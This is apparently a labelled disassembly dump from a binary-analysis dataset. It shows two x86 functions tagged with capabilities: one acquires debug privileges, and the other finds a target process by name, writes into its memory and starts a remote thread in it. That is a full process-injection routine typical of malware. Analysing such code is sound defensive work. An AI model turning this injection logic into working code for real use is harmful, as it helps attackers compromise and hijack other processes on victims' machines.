Function at 0x403677
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
lea eax, [ebp - 4]
push eax
push 0x28
push 0xffffffffffffffff
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4036e1
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
cmp eax, 1
jne 0x4036d6
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
push edi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push edi
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4036d6
xor edi, edi
inc edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
leave
ret

Function at 0x403742
Capabilities:
Create thread
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push esi
push edi
xor edi, edi
push edi
push 2
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x238], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 8], esi
cmp esi, edi
je 0x4038c5
lea eax, [ebp - 0x238]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x4038c5
lea eax, [ebp - 0x238]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x4038bc
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x403800
push dword [ebp - 0x230]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x4037f9
push esi
call fcn.00403293
push esi
mov bl, al
call fcn.004031c6
push esi
mov dword [ebp - 4], eax
call fcn.00403212
add esp, 0xc
cmp bl, byte [0x40503c]
ja 0x4037f9
mov eax, dword [ebp - 4]
cmp eax, dword [0x405038]
je 0x403819
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4037a0
jmp 0x4038bb
cmp dword [ebp - 0x230], edi
je 0x4038bb
push dword [0x405008]
push esi
call fcn.0040355a
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp eax, edi
je 0x4038b4
push edi
mov ecx, 0x405008
sub ecx, dword [0x405008]
push 4
lea edx, [ebp - 4]
push edx
add ecx, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4038b4
push dword [0x405010]
mov eax, 0x405010
push dword [ebp - 4]
push esi
call fcn.004036e4
add esp, 0xc
test al, al
je 0x4038b4
mov eax, dword [ebp - 4]
sub eax, dword [0x405008]
push edi
push edi
push edi
add eax, 0x40130c
push eax
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, edi
je 0x4038a4
push eax
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4038b4
push 0x8000
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
leave
ret